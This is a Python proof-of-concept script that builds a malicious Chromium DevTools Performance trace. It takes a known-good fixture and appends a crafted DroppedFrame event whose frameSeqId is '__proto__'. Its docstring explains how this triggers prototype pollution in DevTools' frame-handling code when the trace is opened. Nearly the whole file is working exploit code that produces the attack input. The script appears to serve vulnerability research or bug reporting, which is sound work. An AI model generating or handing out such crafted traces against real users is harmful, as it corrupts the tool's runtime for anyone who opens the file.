#!/usr/bin/env python3
"""
Build evil-trace.json.gz: take a known-good Chromium Performance trace
fixture and append one DroppedFrame event whose `args.frameSeqId` is the
string "__proto__".

When DevTools parses this trace, FramesHandler.TimelineFrameBeginFrameQueue
does:

    if (seqId in this.mapFrames) {            // "__proto__" in {} === true
      this.mapFrames[seqId].isDropped = true; // ({}).__proto__ === Object.prototype
    }

…assigning onto Object.prototype.

Usage: python3 make_trace.py [base.json.gz] [out.json.gz]
"""
import gzip
import json
import os
import sys

DEFAULT_BASE = (
    '/chromium/chromium/src/third_party/devtools-frontend/src/'
    'front_end/panels/timeline/fixtures/traces/'
    'one-second-interaction.json.gz')

base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE
out = sys.argv[2] if len(sys.argv) > 2 else os.path.join(
    os.path.dirname(os.path.abspath(__file__)), 'evil-trace.json.gz')

with gzip.open(base, 'rt') as f:
    data = json.load(f)

events = data if isinstance(data, list) else data['traceEvents']

# Locate the active layerTreeId and a Compositor-thread BeginFrame that
# fires *after* SetLayerTreeId, so #processCompositorEvents accepts our
# event (entry.args.layerTreeId === this.#layerTreeId).
slt = sorted(
    (e for e in events if e.get('name') == 'SetLayerTreeId'),
    key=lambda e: e['ts'])
assert slt, 'base trace has no SetLayerTreeId'
layer_tree_id = slt[0]['args']['data']['layerTreeId']
slt_ts = slt[0]['ts']

bf = sorted(
    (e for e in events
     if e.get('name') == 'BeginFrame' and e['ts'] > slt_ts
     and e.get('args', {}).get('layerTreeId') == layer_tree_id),
    key=lambda e: e['ts'])
assert bf, 'base trace has no BeginFrame after SetLayerTreeId'
ref = bf[0]

malicious = {
    'args': {
        'frameSeqId': '__proto__',
        'hasPartialUpdate': True,
        'layerTreeId': layer_tree_id,
    },
    'cat': 'disabled-by-default-devtools.timeline.frame',
    'name': 'DroppedFrame',
    'ph': 'I',
    'pid': ref['pid'],
    's': 't',
    'tid': ref['tid'],
    'ts': ref['ts'] + 1,
}
events.append(malicious)

payload = {'traceEvents': events, 'metadata': {}}
with gzip.open(out, 'wt') as f:
    json.dump(payload, f, separators=(',', ':'))

print(f'Wrote {out} ({os.path.getsize(out)} bytes gz)')
print('Injected event:')
print(json.dumps(malicious, indent=2))
